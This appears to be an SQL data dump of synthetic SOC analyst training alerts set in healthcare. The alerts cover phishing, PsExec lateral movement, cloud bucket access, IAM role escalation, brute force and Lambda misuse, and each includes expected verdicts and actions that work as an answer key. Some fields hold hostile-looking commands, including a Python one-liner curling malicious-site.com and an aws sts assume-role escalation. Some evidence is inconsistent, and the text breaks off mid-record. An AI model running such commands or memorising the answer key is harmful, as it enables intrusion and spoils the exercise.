(1396, 'Phishing Attempt: Malicious URL in Email', 'high', 'Proofpoint', 'Phishing email received with a malicious URL targeting healthcare professionals to steal credentials.', 'Phishing', 'T1566', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:45:12Z\",\"event_type\":\"email_received\",\"src_ip\":\"204.0.114.55\",\"dst_ip\":\"192.168.1.25\",\"username\":\"john.doe@hospital.org\",\"hostname\":\"MAIL-SERVER01\",\"email_sender\":\"support@fakesupport.com\",\"url\":\"http://malicious-link.com/login\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"204.0.114.55\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"support@fakesupport.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email domain known for phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"http://malicious-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL hosts phishing landing page\"}}],\"expected_actions\":[\"block_ip\",\"block_url\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"Phishing email with malicious URL confirmed; sender and URL flagged in multiple databases.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Attempt: Malicious URL in Email\",\"date\":\"2026-03-02T13:55:06.933Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1397, 'Suspicious Internal Network Traffic', 'medium', 'Sysmon', 'Detected unusual internal network traffic suggesting potential lateral movement using PsExec.', 'Lateral Movement', 'T1077', 0, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:15:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.2.10\",\"dst_ip\":\"192.168.2.15\",\"username\":\"network_admin\",\"hostname\":\"ADMIN-PC01\",\"command_line\":\"PsExec.exe \\\\\\\\192.168.2.15 -u admin -p password\"}', '2026-03-02 03:10:27', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal admin workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal server\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"PsExec.exe \\\\\\\\192.168.2.15 -u admin -p password\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Legitimate use of PsExec for system management\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Traffic resulted from legitimate administrative tasks; no indicators of compromise.\"}', 'Intermediate', 'EDR', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.934Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:15:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.2.10\\\",\\\"dst_ip\\\":\\\"192.168.2.15\\\",\\\"username\\\":\\\"network_admin\\\",\\\"hostname\\\":\\\"ADMIN-PC01\\\",\\\"command_line\\\":\\\"PsExec.exe \\\\\\\\\\\\\\\\192.168.2.15 -u admin -p password\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1398, 'Unauthorized Access to AWS S3 Bucket Detected', 'high', 'AWS GuardDuty', 'A foreign IP address was detected attempting to access an unsecured S3 bucket containing sensitive healthcare data. This activity may indicate a data exfiltration attempt.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T10:05:23Z\",\"event_type\":\"web_request\",\"src_ip\":\"54.172.98.101\",\"dst_ip\":\"192.168.1.25\",\"username\":\"john.doe\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-bucket/records\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"54.172.98.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Potential data exfiltration vector\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The foreign IP attempting to access sensitive data without authorization suggests a data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.935Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T10:05:23Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"54.172.98.101\\\",\\\"dst_ip\\\":\\\"192.168.1.25\\\",\\\"username\\\":\\\"john.doe\\\",\\\"hostname\\\":\\\"s3.amazonaws.com\\\",\\\"request_body\\\":\\\"GET /sensitive-bucket/records\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1399, 'Potential IAM Privilege Escalation Detected', 'critical', 'AWS GuardDuty', 'An IAM user attempted to assume an administrator role without prior authorization. This may indicate an internal attack or credential compromise.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T11:45:18Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.1.1.7\",\"username\":\"malicious_user\",\"hostname\":\"aws.amazon.com\",\"request_body\":\"\",\"command_line\":\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Known command for unauthorized privilege escalation\"}}],\"expected_actions\":[\"reset_credentials\",\"collect_forensics\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"IAM user attempting to escalate privileges without authorization is indicative of a potential insider threat or compromised account.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.936Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T11:45:18Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.15\\\",\\\"dst_ip\\\":\\\"10.1.1.7\\\",\\\"username\\\":\\\"malicious_user\\\",\\\"hostname\\\":\\\"aws.amazon.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"aws sts assume-role --role-arn arn:aws:iam::123456789012:role/Admin --role-session-name AdminSession\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1400, 'Suspicious Logins Detected from Foreign Location', 'medium', 'Azure Defender', 'Multiple failed login attempts were detected from an IP address located in a region not typically accessed by the user. May indicate a brute force or credential stuffing attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T09:33:47Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.56\",\"dst_ip\":\"192.168.3.10\",\"username\":\"jane.smith\",\"hostname\":\"login.microsoftonline.com\",\"request_body\":\"\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 103 times for brute force attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jane.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"High number of failed login attempts from a foreign IP indicates a potential brute force attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.937Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T09:33:47Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.56\\\",\\\"dst_ip\\\":\\\"192.168.3.10\\\",\\\"username\\\":\\\"jane.smith\\\",\\\"hostname\\\":\\\"login.microsoftonline.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1401, 'Exposed GCP Storage Bucket Detected', 'high', 'GCP SCC', 'An exposed GCP storage bucket was detected, which may lead to unauthorized access to sensitive healthcare data.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T08:20:45Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.27\",\"dst_ip\":\"10.0.0.5\",\"username\":\"n/a\",\"hostname\":\"storage.googleapis.com\",\"request_body\":\"GET /unsecured-bucket/medical-data\",\"command_line\":\"\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.27\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple data breaches\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"storage.googleapis.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Exposed cloud storage URL\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The exposed GCP storage bucket could lead to unauthorized data access, indicating a potential data breach.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.939Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T08:20:45Z\\\",\\\"event_type\\\":\\\"web_request\\\",\\\"src_ip\\\":\\\"198.51.100.27\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"n/a\\\",\\\"hostname\\\":\\\"storage.googleapis.com\\\",\\\"request_body\\\":\\\"GET /unsecured-bucket/medical-data\\\",\\\"command_line\\\":\\\"\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1402, 'Lambda Function Misuse Detected in AWS', 'critical', 'AWS GuardDuty', 'A suspicious execution of a Lambda function was detected, possibly indicating an attempt to use AWS resources for unauthorized activities.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-02T12:00:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"203.0.113.200\",\"dst_ip\":\"192.168.4.20\",\"username\":\"lambda-user\",\"hostname\":\"lambda.amazonaws.com\",\"request_body\":\"\",\"command_line\":\"python3 -c \'import os; os.system(\\\"curl http://malicious-site.com\\\")\'\"}', '2026-03-02 03:11:55', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in command and control activities\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"python3 -c \'import os; os.system(\\\"curl http://malicious-site.com\\\")\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized resource use\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Unauthorized command execution via Lambda function suggests potential misuse of AWS resources for malicious purposes.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-02T12:00:00Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"203.0.113.200\\\",\\\"dst_ip\\\":\\\"192.168.4.20\\\",\\\"username\\\":\\\"lambda-user\\\",\\\"hostname\\\":\\\"lambda.amazonaws.com\\\",\\\"request_body\\\":\\\"\\\",\\\"command_line\\\":\\\"python3 -c \'import os; os.system(\\\\\\\"curl http://malicious-site.com\\\\\\\")\'\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.940Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 